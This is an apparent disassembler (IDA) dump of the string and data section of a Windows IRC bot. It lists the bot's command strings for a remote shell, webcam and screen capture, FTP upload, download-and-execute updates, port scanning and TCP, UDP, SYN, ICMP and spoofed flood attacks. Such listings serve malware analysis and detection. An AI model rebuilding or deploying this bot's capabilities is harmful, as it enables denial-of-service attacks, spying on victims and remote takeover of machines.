		align 4
unk_42CAD4	db  2Dh	; -		; DATA XREF: sub_40274D:loc_409EC6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_42CAFC	db  2Dh	; -		; DATA XREF: sub_40274D+776Fo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
; char aAll[]
aAll		db 'all',0              ; DATA XREF: sub_40274D+7755o
unk_42CB28	db  2Dh	; -		; DATA XREF: sub_40274D+7625o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_42CB50	db  2Dh	; -		; DATA XREF: sub_40274D:loc_409D59o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_42CB74	db  2Dh	; -		; DATA XREF: sub_40274D+7602o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
; char asc_42CB94[]
asc_42CB94	db '-'                  ; DATA XREF: sub_40274D+75D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_42CBBC	db  2Dh	; -		; DATA XREF: sub_40274D:loc_409D02o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
; char asc_42CBE4[]
asc_42CBE4	db '-'                  ; DATA XREF: sub_40274D+758Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_42CC04	db  2Dh	; -		; DATA XREF: sub_40274D:loc_409C9Ao
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_42CC34	db  2Dh	; -		; DATA XREF: sub_40274D+7543o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
; char asc_42CC54[]
asc_42CC54	db '-'                  ; DATA XREF: sub_40274D:loc_409C3Fo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_42CC84	db  2Dh	; -		; DATA XREF: sub_40274D+74EBo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_42CCA8	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_40274D+74A0o
		dd 27732527h, 2Eh
; char asc_42CCC4[]
asc_42CCC4	db '-'                  ; DATA XREF: sub_40274D+7423o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_42CCE8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_40274D+73AFo
		dd 0
; char asc_42CD00[]
asc_42CD00	db '-'                  ; DATA XREF: sub_40274D+736Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
; char asc_42CD40[]
asc_42CD40	db '-'                  ; DATA XREF: sub_40274D+7316o
		db 3, 34h, 2
		dd 69736976h, 2D030274h, 4C525520h, 7325203Ah, 2Eh
; char asc_42CD58[]
asc_42CD58	db '-'                  ; DATA XREF: sub_40274D:loc_4099C3o
		db 3, 34h, 2
		dd 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h, 746E6573h
		dd 2Eh
unk_42CD74	db  2Dh	; -		; DATA XREF: sub_40274D+726Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
; char asc_42CD94[]
asc_42CD94	db '-'                  ; DATA XREF: sub_40274D+7230o
		db 3, 34h, 2
		dd 2646D63h, 43202D03h,	616D6D6Fh, 3A73646Eh, 732520h
unk_42CDAC	db  2Dh	; -		; DATA XREF: sub_40274D+7228o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
; char asc_42CDD8[]
asc_42CDD8	db 0Ah,0		; DATA XREF: sub_40274D+720Ao
					; sub_412135+29o ...
		align 4
unk_42CDDC	db  2Dh	; -		; DATA XREF: sub_40274D+71E0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
; char asc_42CE00[]
asc_42CE00	db '-'                  ; DATA XREF: sub_40274D+71CAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_42CE24	db  2Dh	; -		; DATA XREF: sub_40274D:loc_40989Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 8
unk_42CE68	db  2Dh	; -		; DATA XREF: sub_40274D:loc_409895o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
; char asc_42CEA8[]
asc_42CEA8	db '-'                  ; DATA XREF: sub_40274D+7135o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 4
; char aVideo[]
aVideo		db 'video',0            ; DATA XREF: sub_40274D:loc_4097FEo
		align 4
; char asc_42CEDC[]
asc_42CEDC	db '-'                  ; DATA XREF: sub_40274D:loc_4097EBo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 4
unk_42CF14	db  2Dh	; -		; DATA XREF: sub_40274D:loc_4097E4o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
; char asc_42CF48[]
asc_42CF48	db '-'                  ; DATA XREF: sub_40274D+7087o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
; char aFrame[]
aFrame		db 'frame',0            ; DATA XREF: sub_40274D:loc_409770o
		align 4
; char asc_42CF7C[]
asc_42CF7C	db '-'                  ; DATA XREF: sub_40274D+7016o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 4
; char asc_42CFA4[]
asc_42CFA4	db '-'                  ; DATA XREF: sub_40274D+6FE6o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
; char aDrivers[]
aDrivers	db 'drivers',0          ; DATA XREF: sub_40274D:loc_4096E6o
; char asc_42CFD4[]
asc_42CFD4	db '-'                  ; DATA XREF: sub_40274D:loc_4096D3o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 10h
unk_42D010	db  2Dh	; -		; DATA XREF: sub_40274D:loc_4096CCo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 10h
; char asc_42D040[]
asc_42D040	db '-'                  ; DATA XREF: sub_40274D+6F6Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
; char aScreen[]
aScreen		db 'screen',0           ; DATA XREF: sub_40274D:loc_40968Eo
		align 4
; char asc_42D074[]
asc_42D074	db '-'                  ; DATA XREF: sub_40274D+6F29o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh, 2E732520h
		dd 0
; char asc_42D090[]
asc_42D090	db '-'                  ; DATA XREF: sub_40274D:loc_409636o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 10h
; char asc_42D0C0[]
asc_42D0C0	db '-'                  ; DATA XREF: sub_40274D+6ED3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
; char asc_42D0E8[]
asc_42D0E8	db '-'                  ; DATA XREF: sub_40274D+6E3Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
; char asc_42D108[]
asc_42D108	db '-'                  ; DATA XREF: sub_40274D+6DFFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
; char asc_42D128[]
asc_42D128	db '-'                  ; DATA XREF: sub_40274D+6DA5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_42D144	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_40274D+6D36o
; char aPartS_1[]
aPartS_1	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_40274D+6CFFo
					; sub_40274D+7831o
		align 4
unk_42D164	db  2Dh	; -		; DATA XREF: sub_40274D+6CDDo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
; char aModeS_0[]
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40274D+6CCFo
		align 4
dword_42D18C	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_40274D+6CA4o
		dd 25203A29h, 73h
dword_42D1A8	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_40274D+6C38o
		dd 203A2973h, 7325h
; char aModeS[]
aModeS		db 'MODE %s',0          ; DATA XREF: sub_40274D+6BE0o
dword_42D1CC	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_40274D+6BB5o
		dd 203A2973h, 7325h
; char aS_0[]
aS_0		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_40274D+6B96o
					; sub_40274D+6C19o ...
		align 10h
; char aJoinSS_0[]
aJoinSS_0	db 'JOIN %s %s',0       ; DATA XREF: sub_40274D+6B3Fo
		align 4
; char aPartS_0[]
aPartS_0	db 'PART %s',0          ; DATA XREF: sub_40274D+6AFDo
; char asc_42D204[]
asc_42D204	db '-'                  ; DATA XREF: sub_40274D+6AB3o
		db 3, 34h, 2
		dd 67726174h, 3023361h
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
; char asc_42D240[]
asc_42D240	db '-'                  ; DATA XREF: sub_40274D+6A54o
		db 3, 34h, 2
		dd 67726174h, 3023361h
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_42D26C	db  2Dh	; -		; DATA XREF: sub_40274D+69E5o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_42D2A8[]
asc_42D2A8	db '-'                  ; DATA XREF: sub_40274D+6986o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42D2DC	db  2Dh	; -		; DATA XREF: sub_40274D:loc_409079o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 10h
; char asc_42D310[]
asc_42D310	db '-'                  ; DATA XREF: sub_40274D+68F1o
		db 3, 34h, 2
		dd 6E69616Dh, 202D0302h, 65706552h, 203A7461h, 7325h
dword_42D328	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_40274D:loc_408FB6o
; char aSSSS[]
aSSSS		db '%s %s %s :%s',0     ; DATA XREF: sub_40274D+6825o
					; sub_40274D+68CBo ...
		align 10h
dword_42D350	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_40274D:loc_408F2Fo
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42D398	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_40274D+67C3o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
; char asc_42D3D4[]
asc_42D3D4	db '-'                  ; DATA XREF: sub_40274D+676Ao
		db 3, 34h, 2
		dd 61647075h, 3026574h
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
; char aSS_exe[]
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40274D+66CBo
		align 4
dword_42D40C	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_40274D+666Co
		dd 7325203Ah, 0
unk_42D428	db  2Dh	; -		; DATA XREF: sub_40274D+6661o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
; char asc_42D44C[]
asc_42D44C	db '-'                  ; DATA XREF: sub_40274D+65AFo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStartS	db 'Failed to start search thread, error: <%d>.',0
; char asc_42D488[]
asc_42D488	db '-'                  ; DATA XREF: sub_40274D+654Bo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42D4B8	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_40274D:loc_408BFDo
					; sub_40274D:loc_409BF4o
; char asc_42D4C4[]
asc_42D4C4	db '-'                  ; DATA XREF: sub_40274D+6498o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42D4E8	db  2Dh	; -		; DATA XREF: sub_40274D:loc_408BC3o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42D520	db  2Dh	; -		; DATA XREF: sub_40274D+6457o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_42D558[]
asc_42D558	db '-'                  ; DATA XREF: sub_40274D+63EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42D584	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_40274D+636Ao
aFailedToStar_2	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
; char asc_42D5C0[]
asc_42D5C0	db '-'                  ; DATA XREF: sub_40274D+6307o
		db 3, 34h, 2
		dd 6E6F6C63h, 3027365h
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
; char asc_42D5F0[]
asc_42D5F0	db '-'                  ; DATA XREF: sub_40274D+625Fo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_3	db 'Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_42D628[]
asc_42D628	db '-'                  ; DATA XREF: sub_40274D+61FDo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42D658	db  2Dh	; -		; DATA XREF: sub_40274D+616Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_4	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
; char asc_42D690[]
asc_42D690	db '-'                  ; DATA XREF: sub_40274D+6108o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42D6C0	db  2Dh	; -		; DATA XREF: sub_40274D+6086o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_5	db 'Failed to start flood thread, error: <%d>.',0
		align 4
; char asc_42D6F8[]
asc_42D6F8	db '-'                  ; DATA XREF: sub_40274D+6024o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42D734	db  2Dh	; -		; DATA XREF: sub_40274D+5FA2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
; char asc_42D774[]
asc_42D774	db '-'                  ; DATA XREF: sub_40274D+5F49o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42D7A0	db  2Dh	; -		; DATA XREF: sub_40274D+5E6Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
; char asc_42D7E4[]
asc_42D7E4	db '-'                  ; DATA XREF: sub_40274D+5E12o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
; char asc_42D820[]
asc_42D820	db '-'                  ; DATA XREF: sub_40274D+5D1Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
; char aSSS_1[]
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_40274D+5C76o
		align 4
aSSS_0		db '[%s] * %s %s',0     ; DATA XREF: sub_40274D+5B99o
		align 4
; char dword_42D87C
dword_42D87C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40274D+5B05o
					; sub_40274D+6D82o
unk_42D888	db  2Dh	; -		; DATA XREF: sub_40274D+5A8Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start scan thread, error: <%d>.',0
		align 8
; char asc_42D8C8[]
asc_42D8C8	db '-'                  ; DATA XREF: sub_40274D+5A36o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42D918	db  2Dh	; -		; DATA XREF: sub_40274D+598Do
					; sub_40274D+5D75o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
; char asc_42D950[]
asc_42D950	db '-'                  ; DATA XREF: sub_40274D+5934o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42D9B8	db  2Dh	; -		; DATA XREF: sub_40274D+57C0o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan, no IP specified.',0
		align 4
unk_42D9EC	db  2Dh	; -		; DATA XREF: sub_40274D+5763o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, port is invalid.',0
		align 10h
; char asc_42DA20[]
asc_42DA20	db '-'                  ; DATA XREF: sub_40274D:loc_407D92o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 10h
unk_42DA50	db  2Dh	; -		; DATA XREF: sub_40274D+563Eo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40274D+5625o
; char aSS_2[]
aSS_2		db '-s:%s',0            ; DATA XREF: sub_40274D+560Eo
		align 4
; char aOpenSSSSPutSBy[]
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40274D+55EEo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
; char aAb[]
aAb		db 'ab',0               ; DATA XREF: sub_40274D+55CAo
					; sub_414B1C+4Eo
		align 10h
; char aSIII_dll[]
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40274D+55B9o
		align 10h
; char asc_42DAC0[]
asc_42DAC0	db '-'                  ; DATA XREF: sub_40274D+5560o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 10h
; char aUpload[]
aUpload		db 'upload',0           ; DATA XREF: sub_40274D+553Do
		align 4
; char asc_42DAE8[]
asc_42DAE8	db '-'                  ; DATA XREF: sub_40274D+550Ao
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42DB28	db  2Dh	; -		; DATA XREF: sub_40274D+54C2o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
; char asc_42DB60[]
asc_42DB60	db '-'                  ; DATA XREF: sub_40274D+5463o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42DBA8	db  2Dh	; -		; DATA XREF: sub_40274D+53ADo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
; char asc_42DBDC[]
asc_42DBDC	db '-'                  ; DATA XREF: sub_40274D+537Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 10h
unk_42DC10	db  2Dh	; -		; DATA XREF: sub_40274D+536Co
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
; char asc_42DC48[]
asc_42DC48	db '-'                  ; DATA XREF: sub_40274D+52BFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
; char aIcmp_dllNotAva[]
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40274D+52A2o
		align 4
unk_42DC9C	db  2Dh	; -		; DATA XREF: sub_40274D+5278o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_11	db 'Failed to start flood thread, error: <%d>.',0
		align 8
; char asc_42DCD8[]
asc_42DCD8	db '-'                  ; DATA XREF: sub_40274D+521Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
; char asc_42DD20[]
asc_42DD20	db '-'                  ; DATA XREF: sub_40274D:loc_4078C4o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42DD58	db  2Dh	; -		; DATA XREF: sub_40274D+5158o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
; char asc_42DD90[]
asc_42DD90	db '-'                  ; DATA XREF: sub_40274D+50F4o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40274D+50E4o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40274D+50DDo
unk_42DDD4	db  2Dh	; -		; DATA XREF: sub_40274D+504Bo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
; char aRandom_0[]
aRandom_0	db 'random',0           ; DATA XREF: sub_40274D+503Bo
					; sub_416B1E+212o
		align 4
; char aAck[]
aAck		db 'ack',0              ; DATA XREF: sub_40274D+5024o
					; sub_416B1E+1F2o
; char aHcon[]
aHcon		db 'hcon',0             ; DATA XREF: sub_40274D+4FB1o
		align 4
; char aHttpcon[]
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_40274D+4F9Eo
; char asc_42DE1C[]
asc_42DE1C	db '-'                  ; DATA XREF: sub_40274D+4F82o
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
; char aHeloRndnickMai[]
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40274D+4F0Eo
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
; char aEmail[]
aEmail		db 'email',0            ; DATA XREF: sub_40274D+4E23o
		align 4
; char aTcp[]
aTcp		db 'tcp',0              ; DATA XREF: sub_40274D+4E0Co
; char aTcpflood[]
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_40274D+4DF5o
		align 4
; char aP[]
aP:					; DATA XREF: sub_40274D+4DDEo
					; .data:00442EF0o ...
		unicode	0, <p>,0
; char aPing_0[]
aPing_0		db 'ping',0             ; DATA XREF: sub_40274D+4DC7o
		align 10h
; char aPingflood[]
